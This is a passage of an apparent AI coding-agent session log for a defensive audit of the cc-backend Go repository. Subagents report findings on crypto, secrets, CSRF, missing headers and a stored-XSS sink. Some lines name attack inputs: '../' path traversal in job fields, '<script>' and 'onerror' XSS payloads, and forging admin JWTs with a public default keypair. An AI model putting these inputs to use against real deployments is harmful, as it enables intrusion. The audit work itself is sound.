briefly.","subagent_type":"general-purpose"},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":4398,"cache_read_input_tokens":28095,"output_tokens":4763,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":4398,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":4763,"cache_read_input_tokens":28095,"cache_creation_input_tokens":4398,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":4398},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiYwXMsypJZMmFQvmGBL","type":"assistant","uuid":"c993526e-5a3d-466b-bfd6-2d606120f3b4","timestamp":"2026-06-04T16:41:32.676Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"c993526e-5a3d-466b-bfd6-2d606120f3b4","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01CNzchJft8ZaMeJ9bkLv4iC","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_01ATuXeY1ge8qk9pvMrpsR8V","name":"Agent","input":{"description":"Audit file handling and archive","prompt":"You are a security auditor reviewing the ClusterCockpit cc-backend Go repository at /Users/jan/prg/ClusterCockpit/cc-backend.\n\nScope: File handling, path traversal, archive, and checkpoint I/O. Files in pkg/archive/* (including parquet subpkg), internal/archiver/*, pkg/metricstore/* (checkpoint.go, walCheckpoint.go), and any config file loading.\n\nFocus on:\n- Path traversal: any place where user-controlled input (cluster name, hostname, job ID, file names from API/NATS/config) is used to build filesystem paths via filepath.Join or string concatenation without sanitization. A malicious cluster/host/jobid containing \"../\" could read/write outside the archive root.\n- Zip/tar/parquet extraction (zip-slip).\n- S3 backend key construction.\n- Unsafe deserialization (JSON into types, gob, etc.) leading to resource exhaustion or code paths.\n- Symlink following.\n- Decompression bombs.\n\nGrep for filepath.Join, os.Open, os.Create, os.ReadFile, os.MkdirAll, path building with cluster/host/job variables.\n\nFind anything SEVERE. For each finding: file:line, severity, concrete exploit input, and suggested fix. Trace whether the input is actually attacker-controllable (e.g. comes from API/NATS request vs trusted config). Report only real, code-backed findings; if clean, say so briefly.","subagent_type":"general-purpose"},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":4398,"cache_read_input_tokens":28095,"output_tokens":4763,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":4398,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":4763,"cache_read_input_tokens":28095,"cache_creation_input_tokens":4398,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":4398},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiYwXMsypJZMmFQvmGBL","type":"assistant","uuid":"8041bc42-bdaa-498f-b58d-aacba641c6a9","timestamp":"2026-06-04T16:41:32.983Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"8041bc42-bdaa-498f-b58d-aacba641c6a9","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01CNzchJft8ZaMeJ9bkLv4iC","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_01CaGTyFwK9VKFDnDqqgTQpT","name":"Agent","input":{"description":"Audit GraphQL and NATS","prompt":"You are a security auditor reviewing the ClusterCockpit cc-backend Go repository at /Users/jan/prg/ClusterCockpit/cc-backend.\n\nScope: GraphQL API and NATS API.\n- GraphQL: internal/graph/*.go (schema.resolvers.go, util*.go), api/schema.graphqls. Focus on authorization within resolvers (does each resolver check the requesting user's role/ownership before returning data?), IDOR (querying other users' jobs/metrics), query depth/complexity limits (DoS), and whether sensitive fields are exposed.\n- NATS: internal/api/nats.go. The previous audit ALREADY documented that NATS is unauthenticated and added a startup warning + docs (do NOT re-report the lack of authentication itself). Instead look for OTHER issues: input validation on parsed line-protocol messages, panics from malformed input (unhandled type assertions, nil derefs, slice bounds), resource exhaustion via worker pools, injection via job fields that flow into SQL or filesystem paths, integer overflow.\n\nFind anything SEVERE. For each finding: file:line, severity, concrete exploit scenario, and suggested fix. Verify by reading actual code. Report only real, code-backed findings; if clean, say so briefly.","subagent_type":"general-purpose"},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":4398,"cache_read_input_tokens":28095,"output_tokens":4763,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":4398,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":4763,"cache_read_input_tokens":28095,"cache_creation_input_tokens":4398,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":4398},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiYwXMsypJZMmFQvmGBL","type":"assistant","uuid":"28c7de6a-9de8-4303-8580-74e68268659a","timestamp":"2026-06-04T16:41:33.924Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"28c7de6a-9de8-4303-8580-74e68268659a","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01CNzchJft8ZaMeJ9bkLv4iC","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_01MGMz4Nnrb2Xbh47FeVBTMy","name":"Agent","input":{"description":"Audit frontend and templates","prompt":"You are a security auditor reviewing the ClusterCockpit cc-backend Go repository at /Users/jan/prg/ClusterCockpit/cc-backend.\n\nScope: Web layer — server-side Go templates and frontend.\n- web/templates/*.tmpl and the Go code that renders them (internal/web/*.go or wherever template.Execute is called). Look for XSS: use of text/template instead of html/template, template.HTML / template.JS / template.URL wrappers around user data, unescaped injection of user-controlled values (usernames, job metadata, config) into HTML.\n- CSRF: are state-changing POST endpoints protected? Is there any CSRF token mechanism? (Note: the previous audit set session cookie SameSite=Lax and HttpOnly — consider whether that is sufficient for the state-changing endpoints.)\n- Content-Security-Policy and other security headers (look in cmd/cc-backend/server.go middleware).\n- Sensitive data passed to the frontend (secrets, tokens, other users' data) via template data or embedded JSON.\n- Frontend: web/frontend/src — look for dangerous innerHTML / {@html } usage with user data, and how API tokens / JWTs are stored client-side.\n\nFind anything SEVERE. For each finding: file:line, severity, concrete exploit scenario, and suggested fix. Verify by reading actual code. Report only real, code-backed findings; if clean, say so briefly.","subagent_type":"general-purpose"},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":4398,"cache_read_input_tokens":28095,"output_tokens":4763,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":4398,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":4763,"cache_read_input_tokens":28095,"cache_creation_input_tokens":4398,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":4398},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiYwXMsypJZMmFQvmGBL","type":"assistant","uuid":"0dee2c1f-4588-448b-8842-cbae1cf05783","timestamp":"2026-06-04T16:41:40.984Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"0dee2c1f-4588-448b-8842-cbae1cf05783","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01CNzchJft8ZaMeJ9bkLv4iC","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_01VLYRYR8Xko3RJg8m2JDMqe","name":"Agent","input":{"description":"Audit secrets crypto and config","prompt":"You are a security auditor reviewing the ClusterCockpit cc-backend Go repository at /Users/jan/prg/ClusterCockpit/cc-backend.\n\nScope: Cryptography, secrets handling, configuration, and dependencies.\n\nFocus on:\n- Cryptographic usage: weak algorithms, insecure random (math/rand vs crypto/rand) for security-sensitive values (tokens, salts, session IDs, password reset), JWT key generation/loading, password hashing (what algorithm — bcrypt/argon2? cost factor?). Grep for math/rand, md5, sha1, des, ecb, crypto.\n- Secrets in config: are secrets (JWT private keys, LDAP bind password, NATS password, S3 keys) logged anywhere? Grep for cclog with password/key/secret/token. Any secrets written to disk insecurely or exposed via API/error messages?\n- .env / config loading: insecure defaults, hardcoded credentials, default admin passwords. Check configs/ and cmd/cc-backend.\n- Timing-safe comparison for token/password/HMAC comparisons (subtle.ConstantTimeCompare vs ==).\n- go.mod dependencies: any obviously outdated/vulnerable crypto or auth libraries.\n- Command injection: grep for os/exec, exec.Command with user input.\n\nFind anything SEVERE. For each finding: file:line, severity, concrete exploit scenario, and suggested fix. Verify by reading actual code. Report only real, code-backed findings; if clean, say so briefly.","subagent_type":"general-purpose"},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":4398,"cache_read_input_tokens":28095,"output_tokens":4763,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":4398,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":4763,"cache_read_input_tokens":28095,"cache_creation_input_tokens":4398,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":4398},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiYwXMsypJZMmFQvmGBL","type":"assistant","uuid":"b98aec04-0733-4b4a-8b07-f9c8214e4c14","timestamp":"2026-06-04T16:41:48.147Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"b98aec04-0733-4b4a-8b07-f9c8214e4c14","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01VLYRYR8Xko3RJg8m2JDMqe","type":"tool_result","content":[{"type":"text","text":"Keygen uses crypto/rand correctly. I have enough to complete the audit. Let me do a final check on the user-supplied add-user password (no minimum length) and confirm there are no remaining concerns with the rate limiter (per IP+username — username enumeration / lockout bypass).\n\nThe audit is complete. Here are my findings.\n\n## Security Audit: Cryptography, Secrets, Config, Dependencies\n\nOverall the codebase is in good shape. No SEVERE/critical vulnerabilities found in scope. Cryptographic primitives are sound: Ed25519 JWTs, bcrypt password hashing, crypto/rand everywhere security-sensitive, modern TLS config, no weak algorithms (md5/sha1/des/ecb) anywhere, no `math/rand` for tokens/secrets. Dependencies are current. Below are the lower-severity observations worth noting.\n\n### Findings\n\n**1. LOW — Default/example secrets committed in tracked config files**\n- `configs/config.json:29` — NATS `\"username\":\"root\",\"password\":\"root\"`; `:57-67` metric-store tokens `\"MySecret\"`; `:45-46` S3 keys `\"xx\"`.\n- `configs/config-demo.json:19` — a real signed admin+api JWT (`sub:demo, roles:[admin,api]`).\n- These are tracked in git (`git ls-files` confirms), whereas the runtime `config.json` is correctly `.gitignore`d.\n- Verified non-exploitable: the placeholders are obvious dummies, and I decoded the demo JWT — it is signed with the demo key shipped in `configs/env-template.txt` and already expired (exp 2026-04-09). So this is hygiene, not a live leak. Fix: keep these as `.example`/`.template` files and ensure operators never deploy with the shipped `env-template.txt` keys.\n\n**2. LOW — `checkDefaultSecurityKeys()` only warns, doesn't block** — `cmd/cc-backend/main.go:217-224`. Detects the default `JWT_PUBLIC_KEY` and the demo `SESSION_KEY` is similarly only soft-handled. With the default Ed25519 keypair public in the repo, anyone can forge admin JWTs. It only logs a `Warn`. Mitigating factor: `SESSION_KEY` absence is correctly fatal (`auth.go:189-193`). Suggested: also fatal-error (or require an explicit `-dev` opt-in) when the known default JWT keypair is in use, mirroring the SESSION_KEY treatment.\n\n**3. LOW — No password strength/length enforcement for local accounts** — `cmd/cc-backend/main.go:226-244` (`addUser`) and `internal/api/user.go:180`. A local user can be created with an empty or trivial password; bcrypt is applied (`repository/user.go:150`, `bcrypt.DefaultCost`=10, fine) but no minimum policy. Login is rate-limited at 5/15min per IP+username (`auth.go:76`), which mitigates online brute force. Suggested: enforce a minimum length on local-password creation.\n\n### Verified-safe (no action needed)\n- **JWT verification**: `jwt.go:86-92` pins `SigningMethodEdDSA` (no alg-confusion). `jwtCookieSession.go:123,142` uses `WithValidMethods([EdDSA])` and correctly routes keys by issuer (`TrustedIssuer`→cross-login key, `\"\"`→internal key, else reject). `jwtSession.go` HS256/HS512 path uses a separate dedicated `CROSS_LOGIN_JWT_HS512_KEY`, not the Ed25519 key — no HMAC/asymmetric key confusion.\n- **Password compare**: bcrypt's `CompareHashAndPassword` is constant-time (`local.go:41`). No raw `==` comparisons on secrets/tokens anywhere; token equality is delegated to the JWT library's signature verification.\n- **Command injection**: `internal/api/log.go:92` uses `exec.CommandContext(\"journalctl\", args...)` — no shell, admin-role-gated (`:34`), and free-text params (`since`, `search`) are regex-allowlisted (`^[a-zA-Z0-9 :\\-\\.]+$`), numeric params bounds-checked. Safe.\n- **LDAP injection**: filters use `ldap.EscapeFilter`/`ldap.EscapeDN` (`ldap.go:91,134`). Safe.\n- **Secrets logging**: no password/private-key/secret values are logged; messages only report presence/absence of env vars. OIDC debug logs roles/claims (not tokens) at Debug level.\n- **OIDC**: crypto/rand for state+nonce, PKCE S256, nonce replay check, ID-token verification — all correct (`oidc.go`).\n- **TLS**: TLS 1.2 min, GCM cipher suites only; no `InsecureSkipVerify` anywhere.\n- **Dependencies** (`go.mod`): `golang-jwt/jwt/v5 v5.3.1`, `golang.org/x/crypto v0.52.0`, `coreos/go-oidc/v3 v3.18.0`, `go-ldap/ldap/v3 v3.4.13` — all current, no known severe CVEs.\n\nNet: no SEVERE findings. The three LOW items are deployment-hardening recommendations, with #2 being the most worthwhile (block startup on the publicly-known default JWT keypair)."},{"type":"text","text":"agentId: a9deaff65ff020ceb (use SendMessage with to: 'a9deaff65ff020ceb' to continue this agent)\n<usage>subagent_tokens: 59506\ntool_uses: 26\nduration_ms: 106326</usage>"}]}]},"uuid":"50f4499f-6e27-45cc-aba9-1fdf2c8c26b3","timestamp":"2026-06-04T16:43:35.126Z","toolUseResult":{"status":"completed","prompt":"You are a security auditor reviewing the ClusterCockpit cc-backend Go repository at /Users/jan/prg/ClusterCockpit/cc-backend.\n\nScope: Cryptography, secrets handling, configuration, and dependencies.\n\nFocus on:\n- Cryptographic usage: weak algorithms, insecure random (math/rand vs crypto/rand) for security-sensitive values (tokens, salts, session IDs, password reset), JWT key generation/loading, password hashing (what algorithm — bcrypt/argon2? cost factor?). Grep for math/rand, md5, sha1, des, ecb, crypto.\n- Secrets in config: are secrets (JWT private keys, LDAP bind password, NATS password, S3 keys) logged anywhere? Grep for cclog with password/key/secret/token. Any secrets written to disk insecurely or exposed via API/error messages?\n- .env / config loading: insecure defaults, hardcoded credentials, default admin passwords. Check configs/ and cmd/cc-backend.\n- Timing-safe comparison for token/password/HMAC comparisons (subtle.ConstantTimeCompare vs ==).\n- go.mod dependencies: any obviously outdated/vulnerable crypto or auth libraries.\n- Command injection: grep for os/exec, exec.Command with user input.\n\nFind anything SEVERE. For each finding: file:line, severity, concrete exploit scenario, and suggested fix. Verify by reading actual code. Report only real, code-backed findings; if clean, say so briefly.","agentId":"a9deaff65ff020ceb","agentType":"general-purpose","content":[{"type":"text","text":"Keygen uses crypto/rand correctly. I have enough to complete the audit. Let me do a final check on the user-supplied add-user password (no minimum length) and confirm there are no remaining concerns with the rate limiter (per IP+username — username enumeration / lockout bypass).\n\nThe audit is complete. Here are my findings.\n\n## Security Audit: Cryptography, Secrets, Config, Dependencies\n\nOverall the codebase is in good shape. No SEVERE/critical vulnerabilities found in scope. Cryptographic primitives are sound: Ed25519 JWTs, bcrypt password hashing, crypto/rand everywhere security-sensitive, modern TLS config, no weak algorithms (md5/sha1/des/ecb) anywhere, no `math/rand` for tokens/secrets. Dependencies are current. Below are the lower-severity observations worth noting.\n\n### Findings\n\n**1. LOW — Default/example secrets committed in tracked config files**\n- `configs/config.json:29` — NATS `\"username\":\"root\",\"password\":\"root\"`; `:57-67` metric-store tokens `\"MySecret\"`; `:45-46` S3 keys `\"xx\"`.\n- `configs/config-demo.json:19` — a real signed admin+api JWT (`sub:demo, roles:[admin,api]`).\n- These are tracked in git (`git ls-files` confirms), whereas the runtime `config.json` is correctly `.gitignore`d.\n- Verified non-exploitable: the placeholders are obvious dummies, and I decoded the demo JWT — it is signed with the demo key shipped in `configs/env-template.txt` and already expired (exp 2026-04-09). So this is hygiene, not a live leak. Fix: keep these as `.example`/`.template` files and ensure operators never deploy with the shipped `env-template.txt` keys.\n\n**2. LOW — `checkDefaultSecurityKeys()` only warns, doesn't block** — `cmd/cc-backend/main.go:217-224`. Detects the default `JWT_PUBLIC_KEY` and the demo `SESSION_KEY` is similarly only soft-handled. With the default Ed25519 keypair public in the repo, anyone can forge admin JWTs. It only logs a `Warn`. Mitigating factor: `SESSION_KEY` absence is correctly fatal (`auth.go:189-193`). Suggested: also fatal-error (or require an explicit `-dev` opt-in) when the known default JWT keypair is in use, mirroring the SESSION_KEY treatment.\n\n**3. LOW — No password strength/length enforcement for local accounts** — `cmd/cc-backend/main.go:226-244` (`addUser`) and `internal/api/user.go:180`. A local user can be created with an empty or trivial password; bcrypt is applied (`repository/user.go:150`, `bcrypt.DefaultCost`=10, fine) but no minimum policy. Login is rate-limited at 5/15min per IP+username (`auth.go:76`), which mitigates online brute force. Suggested: enforce a minimum length on local-password creation.\n\n### Verified-safe (no action needed)\n- **JWT verification**: `jwt.go:86-92` pins `SigningMethodEdDSA` (no alg-confusion). `jwtCookieSession.go:123,142` uses `WithValidMethods([EdDSA])` and correctly routes keys by issuer (`TrustedIssuer`→cross-login key, `\"\"`→internal key, else reject). `jwtSession.go` HS256/HS512 path uses a separate dedicated `CROSS_LOGIN_JWT_HS512_KEY`, not the Ed25519 key — no HMAC/asymmetric key confusion.\n- **Password compare**: bcrypt's `CompareHashAndPassword` is constant-time (`local.go:41`). No raw `==` comparisons on secrets/tokens anywhere; token equality is delegated to the JWT library's signature verification.\n- **Command injection**: `internal/api/log.go:92` uses `exec.CommandContext(\"journalctl\", args...)` — no shell, admin-role-gated (`:34`), and free-text params (`since`, `search`) are regex-allowlisted (`^[a-zA-Z0-9 :\\-\\.]+$`), numeric params bounds-checked. Safe.\n- **LDAP injection**: filters use `ldap.EscapeFilter`/`ldap.EscapeDN` (`ldap.go:91,134`). Safe.\n- **Secrets logging**: no password/private-key/secret values are logged; messages only report presence/absence of env vars. OIDC debug logs roles/claims (not tokens) at Debug level.\n- **OIDC**: crypto/rand for state+nonce, PKCE S256, nonce replay check, ID-token verification — all correct (`oidc.go`).\n- **TLS**: TLS 1.2 min, GCM cipher suites only; no `InsecureSkipVerify` anywhere.\n- **Dependencies** (`go.mod`): `golang-jwt/jwt/v5 v5.3.1`, `golang.org/x/crypto v0.52.0`, `coreos/go-oidc/v3 v3.18.0`, `go-ldap/ldap/v3 v3.4.13` — all current, no known severe CVEs.\n\nNet: no SEVERE findings. The three LOW items are deployment-hardening recommendations, with #2 being the most worthwhile (block startup on the publicly-known default JWT keypair)."}],"totalDurationMs":106326,"totalTokens":59506,"totalToolUseCount":26,"usage":{"input_tokens":2,"cache_creation_input_tokens":1335,"cache_read_input_tokens":56301,"output_tokens":1868,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":0,"ephemeral_5m_input_tokens":1335},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":1868,"cache_read_input_tokens":56301,"cache_creation_input_tokens":1335,"cache_creation":{"ephemeral_5m_input_tokens":1335,"ephemeral_1h_input_tokens":0},"type":"message"}],"speed":"standard"},"toolStats":{"readCount":14,"searchCount":0,"bashCount":12,"editFileCount":0,"linesAdded":0,"linesRemoved":0,"otherToolCount":0}},"sourceToolAssistantUUID":"b98aec04-0733-4b4a-8b07-f9c8214e4c14","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"type":"last-prompt","lastPrompt":"I did a security review with Opus 4.7 . Fixes are already applied. Repeat the audit and check if anything severe was missed in the previous audit","leafUuid":"50f4499f-6e27-45cc-aba9-1fdf2c8c26b3","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9"}
{"type":"ai-title","aiTitle":"Repeat security audit after fixes","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9"}
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{"parentUuid":"0dee2c1f-4588-448b-8842-cbae1cf05783","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01MGMz4Nnrb2Xbh47FeVBTMy","type":"tool_result","content":[{"type":"text","text":"These are under `MountAPIRoutes` (the `/api` group), which requires JWT with `RoleAPI` (and admin) — not session cookie, not regular users. So `metaData.message` can only be set by API-key holders (RoleAPI/admin). The `{@html}` rendering is thus a stored-XSS sink reachable only by privileged API users. That's a defense-in-depth concern, not a critical user-to-admin escalation.\n\nI now have everything needed. Let me compile the report.\n\n## Security Audit Report — Web Layer (cc-backend)\n\n### Summary\nThe XSS posture of the server-side templates is **solid**: `web/web.go` uses `html/template` (not `text/template`), and there are **no** `template.HTML`/`template.JS`/`template.URL` wrappers anywhere. All user-controlled values (usernames, filter presets, job IDs, login redirect, error messages) are interpolated via plain `{{ .X }}` in their correct contexts (JS string, HTML attribute, HTML text), so Go's contextual auto-escaping applies. The login `redirect` is also validated server-side to be a relative path (`internal/auth/auth.go:389`), closing the open-redirect. JWTs handed to the frontend are kept in component memory, not `localStorage`/`sessionStorage` (`web/frontend/src/config/.../UserOptions.svelte`, `ShowUsersRow.svelte`) — good.\n\nThe real findings are around **missing CSRF defense-in-depth, missing security headers, and a stored-XSS sink**.\n\n---\n\n### Finding 1 — No CSRF tokens on cookie-authenticated state-changing endpoints (relying solely on SameSite=Lax)\n**Severity: Medium-High**\n**Files:**\n- `internal/api/rest.go:147-160` (`MountConfigAPIRoutes`: `createUser`, `deleteUser`, `updateUser`, `editNotice`, `runTagger` — all session/admin-auth)\n- `internal/api/rest.go:164-171` (`MountFrontendAPIRoutes`: `/frontend/configuration/` POST, `/frontend/jwt/` GET)\n- `cmd/cc-backend/server.go:228` (GraphQL `/query` mutations, session-auth)\n- `internal/auth/auth.go:323-324` (cookie `SameSite=Lax`, `HttpOnly`)\n\n**Analysis:** These endpoints authenticate via session cookie (`AuthViaSession`) with **no CSRF token** (confirmed: the only `csrf` reference in the codebase is the OIDC PKCE comment). The previous audit's `SameSite=Lax` does block classic cross-site **form POST** CSRF, so the POST/PUT/DELETE config endpoints are *mostly* covered by that alone. The concern:\n- `GET /frontend/jwt/?username=<self>` mints a valid JWT and returns it in the body. Under `SameSite=Lax`, a cross-site **top-level GET navigation** *does* send the cookie. An attacker page can't read the response cross-origin (CORS `AllowCredentials:false`), so token theft is blocked — but this shows the reliance on a single control. Any future state-changing GET handler would be exploitable.\n- Defense-in-depth: `SameSite=Lax` is the *only* CSRF control. Browsers/proxies that don't enforce it, or a future endpoint added as GET, would be exposed. For an HPC admin console that can create users and assign the admin role, a proper anti-CSRF token (or `SameSite=Strict` for the session cookie, plus an `Origin`/`Referer` check on state-changing requests) is warranted.\n\n**Fix:** Add an `Origin`/`Sec-Fetch-Site` check (or a synchronizer CSRF token) middleware on all non-GET session-authenticated routes, and consider `SameSite=Strict` for the session cookie. At minimum, ensure no state-changing operation is ever exposed via GET.\n\n---\n\n### Finding 2 — No Content-Security-Policy or other security response headers\n**Severity: Medium**\n**File:** `cmd/cc-backend/server.go:118-144` (middleware chain)\n\nThe middleware sets only `Strict-Transport-Security` (and only when TLS). There is **no** `Content-Security-Policy`, `X-Content-Type-Options: nosniff`, `X-Frame-Options`/`frame-ancestors`, or `Referrer-Policy` (confirmed: grep for all of these returns nothing). Consequences:\n- No CSP means any XSS (see Finding 3) executes unconstrained, and there's no mitigation for injected inline script.\n- No `X-Frame-Options`/`frame-ancestors 'none'` → the admin UI can be framed for clickjacking.\n- No `X-Content-Type-Options: nosniff` → MIME-sniffing risk on served content.\n\n**Fix:** Add a middleware setting `X-Content-Type-Options: nosniff`, `X-Frame-Options: DENY` (or CSP `frame-ancestors 'none'`), `Referrer-Policy: same-origin`, and a CSP. Note the templates use inline `<script>` blocks (`base.tmpl`, `monitoring/*.tmpl`), so a strict CSP needs nonces/hashes for those inline scripts.\n\n---\n\n### Finding 3 — Stored XSS sink: `{@html job.metaData.message}` rendered as raw HTML\n**Severity: Medium** (privileged write path; defense-in-depth)\n**Files:**\n- `web/frontend/src/Job.root.svelte:240`\n- `web/frontend/src/generic/helper/JobFootprint.svelte:231`\n\n`job.metaData.message` (the \"admin note\") is rendered with Svelte's `{@html ...}`, which bypasses all escaping. The write path is `PATCH /api/jobs/edit_meta/{id}` (`internal/api/rest.go:100-101` → `internal/api/job.go:468`), which sets an arbitrary metadata key/value (including `message`). That route is under the `/api` group requiring a JWT with `RoleAPI` (`server.go:240-247`, `AuthAPI`), so it's not reachable by ordinary logged-in users — but any API-token holder, a compromised scheduler integration, or a hand-edited job archive `meta.json` can inject `<script>`/`<img onerror=...>` that executes in the browser of **any admin/user who opens that job page** (including higher-privileged users). With no CSP (Finding 2), this is unconstrained.\n\n**Fix:** Don't render `message` as raw HTML. Either render it as text (`{message}`), or sanitize it (e.g. DOMPurify) before `{@html}`, and/or restrict the allowed metadata keys/markup on the `editMeta` server side.\n\n---\n\n### Things checked and found clean\n- `html/template` used throughout; no `text/template` in the web layer (only `internal/tagger/classifyJob.go`, not web-facing).\n- No `template.HTML/JS/URL` wrappers around user data anywhere.\n- Login `redirect` open-redirect is mitigated (`auth.go:388-394`, relative-path-only).\n- JWT not stored in `localStorage`/`sessionStorage`; held in Svelte state only.\n- CORS `AllowCredentials:false` prevents cross-origin reading of cookie-authenticated responses.\n- Session cookie is `HttpOnly` and `Secure` (when TLS/`X-Forwarded-Proto: https`).\n- No `innerHTML`/`document.write` usage in the frontend; only the two `{@html}` sinks above.\n\n**Priority order:** Finding 2 (security headers/CSP — cheap, broad mitigation) → Finding 1 (CSRF defense-in-depth on admin endpoints) → Finding 3 (sanitize admin note)."},{"type":"text","text":"agentId: a657c0eb626a5a6a9 (use SendMessage with to: 'a657c0eb626a5a6a9' to continue this agent)\n<usage>subagent_tokens: 59733\ntool_uses: 30\nduration_ms: 160249</usage>"}]}]},"uuid":"89242a1a-3d61-4115-99b9-e53cc51a678d","timestamp":"2026-06-04T16:44:22.259Z","toolUseResult":{"status":"completed","prompt":"You are a security auditor reviewing the ClusterCockpit cc-backend Go repository at /Users/jan/prg/ClusterCockpit/cc-backend.\n\nScope: Web layer — server-side Go templates and frontend.\n- web/templates/*.tmpl and the Go code that renders them (internal/web/*.go or wherever template.Execute is called). Look for XSS: use of text/template instead of html/template, template.HTML / template.JS / template.URL wrappers around user data, unescaped injection of user-controlled values (usernames, job metadata, config) into HTML.\n- CSRF: are state-changing POST endpoints protected? Is there any CSRF token mechanism? (Note: the previous audit set session cookie SameSite=Lax and HttpOnly — consider whether that is sufficient for the state-changing endpoints.)\n- Content-Security-Policy and other security headers (look in cmd/cc-backend/server.go middleware).\n- Sensitive data passed to the frontend (secrets, tokens, other users' data) via template data or embedded JSON.\n- Frontend: web/frontend/src — look for dangerous innerHTML / {@html } usage with user data, and how API tokens / JWTs are stored client-side.\n\nFind anything SEVERE. For each finding: file:line, severity, concrete exploit scenario, and suggested fix. Verify by reading actual code. Report only real, code-backed findings; if clean, say so briefly.","agentId":"a657c0eb626a5a6a9","agentType":"general-purpose","content":[{"type":"text","text":"These are under `MountAPIRoutes` (the `/api` group), which requires JWT with `RoleAPI` (and admin) — not session cookie, not regular users. So `metaData.message` can only be set by API-key holders (RoleAPI/admin). The `{@html}` rendering is thus a stored-XSS sink reachable only by privileged API users. That's a defense-in-depth concern, not a critical user-to-admin escalation.\n\nI now have everything needed. Let me compile the report.\n\n## Security Audit Report — Web Layer (cc-backend)\n\n### Summary\nThe XSS posture of the server-side templates is **solid**: `web/web.go` uses `html/template` (not `text/template`), and there are **no** `template.HTML`/`template.JS`/`template.URL` wrappers anywhere. All user-controlled values (usernames, filter presets, job IDs, login redirect, error messages) are interpolated via plain `{{ .X }}` in their correct contexts (JS string, HTML attribute, HTML text), so Go's contextual auto-escaping applies. The login `redirect` is also validated server-side to be a relative path (`internal/auth/auth.go:389`), closing the open-redirect. JWTs handed to the frontend are kept in component memory, not `localStorage`/`sessionStorage` (`web/frontend/src/config/.../UserOptions.svelte`, `ShowUsersRow.svelte`) — good.\n\nThe real findings are around **missing 